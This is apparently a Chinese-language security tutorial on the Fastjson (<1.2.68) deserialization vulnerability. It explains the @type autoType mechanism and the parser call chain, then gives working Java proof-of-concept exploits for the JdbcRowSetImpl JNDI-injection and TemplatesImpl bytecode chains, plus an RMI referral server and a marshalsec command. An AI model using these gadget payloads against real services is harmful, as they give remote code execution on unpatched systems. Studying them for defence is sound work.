简介
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.
版本
Fastjson < 1.2.68
相关类
JSON:门面类,提供入口
DefaultJSONParser:主类
ParserConfig:配置相关类
JSONexerBase:字符分析类
JavaBeanDeserializer:JavaBean反序列化类
常用属性
SerializerFeature.WriteClassName
JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法
Feature.SupportNonPublicField
如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数
json与类转化
类->JSON
常用方法:JSON.toJSONString(),常用参数如下
序列化特性: com.alibaba.fastjson.serializer.SerializerFeature , 可以通过设置多 个特性到 FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性.
序列化过滤器: com.alibaba.fastjson.serializer.SerializeFilter , 这是一个接口, 通 过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化.
序列化时的配置: com.alibaba.fastjson.serializer.SerializeConfig , 可以添加特点 类型自定义的序列化配置.
JSON->类
常用方法:parse、parseObject、parseArray,常用参数如下
反序列化特性: com.alibaba.fastjson.parser.Feature.
类的类型: java.lang.reflect.Type , 用来执行反序列化类的类型.
处理泛型反序列化: com.alibaba.fastjson.TypeReference .
编程扩展定制反序列化: com.alibaba.fastjson.parser.deserializer.ParseProcess , 例如 ExtraProcessor 用于处理多余的字段, ExtraTypeProvider 用于处理多余字段时提 供类型信息.
parse
与parseObject
的区别:使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class) , 两者 调用链一致, 前者会在 jsonString 中解析字符串获取 @type 指定的类, 后者则会直接使用Target.class参数中的 class .
序列化与反序列化
序列化
在上面的代码中存在一个关键词 SerializerFeature.WriteClassName , 其是 toJSON String 设置的一个属性值, 设置之后在序列化的时候会多写入一个 @type , 即写上被序列化 的类名, type 可以指定反序列化的类, 并且调用其 getter / setter / is 方法.
反序列化
第一二种没有在引入了 @type 后, 成功反序列化, 可以看到 parse 成功 触发了 set 方法, parseObject 同时触发了 set 和 get 方法, 因为 fastjson 存在 autoTyp e 机制, 当用户指定 @type 时, 存在调用恶意 setter / getter 的情况, 这就是 fastjson反 序列化漏洞.
fastjson 反序列化漏洞基本原理
调用链分析
先跟进parse方法
这里会创建一个 DefaultJSONParser 对象,在这个过程中会有一个判断操作, 来判断解析的字符串是 { 还是 [ , 并根据判断的结果设置 tok en 值, 创建完成 DefaultJSONParser 对象后进入 DefaultJSONParser#parse 方法.
再步入DefaultJSONParser#parse
跟进 parseObject 方法, 这里会通过 scanSymbol 获取到 @type 指定类, 然后通过 TypeUtil s.loadClass 方法加载 Class .
跟进 TypeUtils.loadClass 方法, 这里首先会从 mappings 里面寻找类, mappings 中存放着 一些 Java 内置类, 由于前面一些条件不满足, 所以最后用 ClassLoader 加载类, 在这里也就 是加载 Exploit 类.
返回 clazz 值后回到上一级, 创建 ObjectDeserializer 对象, 并调用 getDeserializer方法.
跟进 ParserConfig#getDeserializer 方法, 继续调用 getDeserializer 方法, 这里使用了黑 名单限制可以反序列化的类, 但是黑名单里面只有 java.lang.Thread .
接着回到前面的 deserialze 方法, 往下调试到达 ASM 机制生成的临时代码, 最后调用 set 和 get 里面的方法.
下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:
满足条件的setter:
非静态函数
返回类型为void或当前类
参数个数为1个
满足条件的getter:
非静态方法
无参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
Fastjson 1.2.24
这个版本的两条利用链
JdbcRowSetImpl
JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl , 这条漏洞利用链的核心点是 jav ax.naming.InitialContext#lookup 参数可控导致的 JNDI 注入
poc
package com.poc;
import com.alibaba.fastjson.JSON;
public class fastjsonpoc2 {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
rmi
package com.poc;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("vita_rain", "EvilObject", "http://127.0.0.1:8000/");
System.out.println(refObj);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
evil
package com.Evil;
import java.io.IOException;
public class EvilObject {
static {
try{
Runtime.getRuntime().exec("clac");
}catch (IOException e){
e.printStackTrace();
}
}
}
或者用marshalsec起rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099
LDAP的方法和只是把协议和服务改为LDAP即可
Templateslmpl
位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用。因此产生了漏洞。
利用链
getOutputProperties() ->
newTransformer() ->
getTransletInstance() ->
defineTransletClasses() / EvilClass.newInstance()
其中getOutputProperties()为_outputPropertiesget成员变量的getter方法。
getTransletInstance()中先调用defineTransletClasses,该方法的逻辑:
首先要求bytecodes不为空(bytecodes变量是TemplatesImpl类的成员变量,在构造poc时属于可控变量),然后就会调用自定义的Clssloader.defineClass去将_bytecodes中的值由字节码转化为Class对象赋值给_Class[i]。如果这个类的父类为 ABSTRACT_TRANSLET,_transletIndex变量值则会是此时_bytecodes数组中的下标值
由上可以得知:_bytecodes 是我们构造的恶意类 的类字节码, 这个类的父类是 AbstractTranslet , 最终这个类会被加载并使用 newInsta nce 实例化.
ps.成员变量_name和_tfactory不能为空,否者程序会提前return.
poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Base64;
public class fastjsonpoc1 {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = fastjsonpoc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
ClassPool.getDefault()获取默认类池,然后创建Evil类,接着设置Evil要继承的类
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
创建空的类初始化器,向构造函数里加入cmd
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
设置加载AbstractTranslet类的搜索路径
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())
将编译的类创建为.class
文件
test.writeFile("./");
转换为字节码并进行base64加密
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
最后构造序列化数据,进行触发
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'vi_ta','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
.由于部分需要更改的私有变量没有 setter 方法, 需要使用 Feature.Supp ortNonPublicField 参数来触发.